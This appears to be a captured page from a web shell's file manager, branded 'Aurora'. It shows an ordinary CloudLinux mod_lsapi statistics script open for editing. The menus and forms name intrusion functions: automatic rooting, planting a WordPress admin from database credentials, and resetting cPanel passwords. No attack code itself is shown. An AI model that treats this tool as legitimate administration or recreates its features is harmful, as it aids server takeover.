Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
lve
modlscapi
user
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: mod_lsapi_stat.py
# Copyright (c) Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import json import traceback import subprocess import configparser import exec_command from lve_diagnostic import get_cp from dashboard_malfunctions import criu_settings_malfunctions from dashboard_malfunctions import lsapi_settings_malfunctions from dashboard_malfunctions import liblsapi_malfunctions from stat_utils import cpanel_whmapi, plesk_bin_php_handler, dump_loaded_modules, dump_lsapi, query_strings from stat_utils import get_da_domains, get_da_php_options, read_da_config, liblsapi_path, pretty_version_keys, count_domains, StatUtilsException import selector_usage_lib class ModLsapiStatException(Exception): pass def get(as_json=False): """ Return statistics data :param as_json: return json string if True, dict otherwise :return: statistics data dict( `controlPanel`: EA3/EA4/Plesk/DirectAdmin/Unknown CP, `criu`: dict( `status`: running/stopped, `version`: version ), `domainStat`: dict( `version`: `domains_num`, ... ) or dict(`error`: description) if some error occurred, `lsapiConf`: dict( lsapi_with_connection_pool: on/off, lsapi_criu: on/off ) ) or its json-packed version """ error = None stats = {} control_panel = get_cp() try: if control_panel.name == 'cPanel': if os.path.exists('/etc/cpanel/ea4/is_ea4'): stats['domainStat'] = get_cpanel_ea4_stat() else: error = 'mod_lsapi domains stat is currently unsupported for EA3' elif control_panel.name == 'Plesk': stats['domainStat'] = get_plesk_stat() elif control_panel.name == 'DirectAdmin': stats['domainStat'] = get_da_stat() else: error = 'mod_lsapi domains stat is currently unsupported for {0}'.format(control_panel.name) except ModLsapiStatException as e: error = str(e) if error is not None: stats['domainStat'] = dict() stats['domainStatError'] = error stats['controlPanel'] = str(control_panel) stats.update(get_lsapi_conf()) stats.update(get_crui_stat()) stats.update({'totalDomain': sum(stats['domainStat'].values())}) analyze_malfunctions(stats) if as_json: return json.dumps(stats, sort_keys=True) else: return stats def get_cpanel_ea4_stat(lsapi_only=True, with_selector=True): """ Collect mod_lsapi statistics for cPanel EA4 through WHM API :param lsapi_only: return only lsapi domains statistics if True, or full statistics if False :param with_selector: take into account the statistics of php selector :return: if lsapi_only return lsapi domains per version stat dict( `version`: `domains_num`, ... ) else return full statistics per handler stat dict( `handler`: {`version`: `domains_num`, ... } ... ) """ domains_per_version = dict() # to store `version`: `domains_list` handlers_stat = dict() # to store `handler`: {`version`: `domains_num`, ...} domain_users = dict() # to store `domain`: `user` correspondence try: # get all vhosts along with versions vhosts_data = cpanel_whmapi('php_get_vhost_versions').get('versions') for vhost in vhosts_data: domains_per_version.setdefault(vhost.get('version'), set()).add(vhost.get('vhost')) domain_users[vhost.get('vhost')] = vhost.get('account') # get handlers for versions handlers_data = cpanel_whmapi('php_get_handlers').get('version_handlers') version_handlers = dict([(h.get('version'), h.get('current_handler')) for h in handlers_data]) all_versions = list(version_handlers.keys()) # map {version: domains_list} to handlers, domains count in place for ver, handler in version_handlers.items(): handlers_stat.setdefault(handler, dict()).update({ver: domains_per_version.get(ver, set())}) # reinspect handlers stat against selector if with_selector: s_checked_version_handlers = selector_usage_lib.ea4_selector_check(domains_per_version, domain_users, handlers_stat) handlers_stat = s_checked_version_handlers # update structure with versions, which are not used by one handler, e.g. `ver: 0 domains` for h, v in handlers_stat.items(): v.update(dict.fromkeys(set(all_versions).difference(list(v.keys())), set())) except (KeyError, TypeError, StatUtilsException): raise ModLsapiStatException(''.join(traceback.format_exc().split('\n'))) # return only number of domains return count_domains(handlers_stat, all_versions, lsapi_only) def get_plesk_stat(lsapi_only=True, with_selector=True): """ Collect mod_lsapi statistics for Plesk Collects lsapi domains ONLY :param lsapi_only: return only lsapi domains statistics if True, or full statistics if False :param with_selector: take into account the statistics of php selector :return: if lsapi_only return lsapi domains per version dict( `version`: `domains_num` ... ) else return stats with handler dict( `lsapi`: {`version`: `domains_num`, ... } ) """ handler_tmpl = 'alt-php{v}' custom_version = 'alt-php56' domain_version_stat = dict() try: all_handlers = plesk_bin_php_handler('list') # on Plesk mod_lsapi is used only through handlers x-httpd-lsphp-*, which are added by --setup lsphp_handlers = [h for h in all_handlers if 'lsphp' in h.get('id')] for handler in lsphp_handlers: handler_id = handler.get('id') php_version = ''.join(handler.get('fullVersion').split('.')[:-1]) domains = set([d.get('domain') for d in plesk_bin_php_handler('get-usage', id=handler_id)]) # x-httpd-lsphp-custom domains are to be checked withon selector if 'custom' in handler_id: version_id = 'custom' custom_version = handler_tmpl.format(v=php_version) else: version_id = handler_tmpl.format(v=php_version) domain_version_stat[version_id] = domains # PLACE SELECTOR CHECK HERE (should be done for custom handler) if with_selector: domain_version_stat = selector_usage_lib.plesk_selector_check(domain_version_stat, custom_version) except (KeyError, TypeError, AttributeError, StatUtilsException, selector_usage_lib.SelectorStatException): raise ModLsapiStatException(''.join(traceback.format_exc().split('\n'))) # return only number of domains result_stat = { 'lsapi': {k: len(v) for k, v in domain_version_stat.items()} } return result_stat['lsapi'] if lsapi_only else result_stat def get_da_stat(lsapi_only=True, with_selector=True): """ Collect lsapi domains statistics fro DirectAdmin :param lsapi_only: return only lsapi domains statistics if True, or full statistics if False :param with_selector: take into account the statistics of php selector :return: if lsapi_only return lsapi domains per version stat dict( `version`: `domains_num`, ... ) else return full statistics per handler stat dict( `handler`: {`version`: `domains_num`, ... } ... ) """ domain_conf_path = '/usr/local/directadmin/data/users/{user}/domains/{domain}.conf' handler_stat = dict() try: # get php settings from option.conf php_options = get_da_php_options() php1_ver = php_options[1]['version'] php2_ver = php_options[2]['version'] php1_handler = php_options[1]['handler'] php2_handler = php_options[2]['handler'] php1_label = pretty_version_keys(php1_ver) php2_label = pretty_version_keys(php2_ver) # get user: domains correspondence user_domains = get_da_domains() joined = set() [joined.update(v) for v in user_domains.values()] # analyze options.conf settings for versions if php2_ver == 'no': # no secondary php set, assume all domains use primary version_stat = {php1_label: joined} handler_stat[php1_handler] = {php1_label: joined} elif php1_ver == 'no': # no primary php set, assume all domains use secondary version_stat = {php2_label: joined} handler_stat[php2_handler] = {php2_label: joined} else: version_stat = {php1_label: set(), php2_label: set()} # if both php releases in options.conf are set, that means that DA PHP selector is enabled for user, domains in user_domains.items(): # find php release settings for each domain for domain in domains: config_path = domain_conf_path.format(user=user, domain=domain) try: # try to find which version domain uses as primary conf_parser, global_section = read_da_config(config_path) php_setting = conf_parser.getint(global_section, 'php1_select') version = pretty_version_keys(php_options[php_setting]['version']) version_stat.get(version).add(domain) except configparser.NoOptionError: # means that domain do not use DA PHP selector and uses primary php version from options.conf version_stat.get(php1_label).add(domain) # if both php releases in options.conf are set, that means that DA PHP selector is enabled # create per-handler statistics if php1_handler == php2_handler: handler_stat[php1_handler] = {php1_label: version_stat[php1_label], php2_label: version_stat[php2_label]} else: handler_stat[php1_handler] = {php1_label: version_stat[php1_label], php2_label: set()} handler_stat[php2_handler] = {php2_label: version_stat[php2_label], php1_label: set()} if with_selector: selector_updated = selector_usage_lib.da_selector_check(version_stat.get(php1_label), user_domains, php1_label) handler_stat.get(php1_handler).update(selector_updated) except (KeyError, TypeError, AttributeError, StatUtilsException): raise ModLsapiStatException(''.join(traceback.format_exc().split('\n'))) # return only number of domains return count_domains(handler_stat, [php1_label, php2_label], lsapi_only) def get_crui_stat(): """ Get criu service info :return: dict( `criu`: dict( `status`: running/stopped, `version`: version ) ) """ criu_version = ''.join(exec_command.exec_command('/usr/sbin/criu -V')) try: subprocess.check_call(['/sbin/service', 'criu', 'status'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) criu_service_status = 'running' except subprocess.CalledProcessError: criu_service_status = 'stopped' return { 'criu': { 'status': criu_service_status, 'version': criu_version.split(' ')[1] if criu_version else 'not installed' } } def get_lsapi_conf(): """ Retrieve lsapi configuration: - crui - connection pool and versions of module and library :return: dict( lsapiConf: dict( lsapi_with_connection_pool: on/off, lsapi_criu: on/off ), modVersion: version, libVersion: version ) """ # Plesk carries upstream apache 2.4.6, which says # `Passing arguments to httpd using apachectl is no longer supported.` # have to query with httpd instead of apachectl apache_conf = dump_lsapi() apache_modules = dump_loaded_modules() mod_status = apache_modules.get('lsapi_module', None) return { 'lsapiConf': { 'lsapi_criu': apache_conf.get('lsapi_criu', 'off'), 'lsapi_with_connection_pool': apache_conf.get('lsapi_with_connection_pool', 'off') }, 'modVersion': apache_conf.get('version', None), 'libVersion': query_strings(liblsapi_path(), 'liblsapi_version'), 'modStatus': 'disabled' if not mod_status else 'enabled' } def analyze_malfunctions(stats_dict): """ Detect configuration malfunctions and update resulting statistics dict accordingly For now only criu malfunctions are presented See malfunctions in dashboard_malfunctions.py module :param stats_dict: resulting statistics dict """ malfunctions = list() def add_malfunction(malfunc_dict, key): try: # try to detect one malfunction malfunctions.append(malfunc_dict[key]) except KeyError: # no malfunction found pass criu_settings = '{opt}_{serv}'.format(opt=stats_dict['lsapiConf']['lsapi_criu'], serv=stats_dict['criu']['status']) lsapi_settings = stats_dict['modStatus'] # for further extension of similar malfunctions: # malfuncs = tuple of malfunctions # keys = tuple of according keys # for malfunc, k in zip(malfuncs, keys): # add_malfunction(malfunc, k) add_malfunction(liblsapi_malfunctions, stats_dict['libVersion']) add_malfunction(lsapi_settings_malfunctions, lsapi_settings) add_malfunction(criu_settings_malfunctions, criu_settings) # no need in `malfunctions` field if there are no malfunctions if not malfunctions: return else: stats_dict.update({'malfunctions': malfunctions})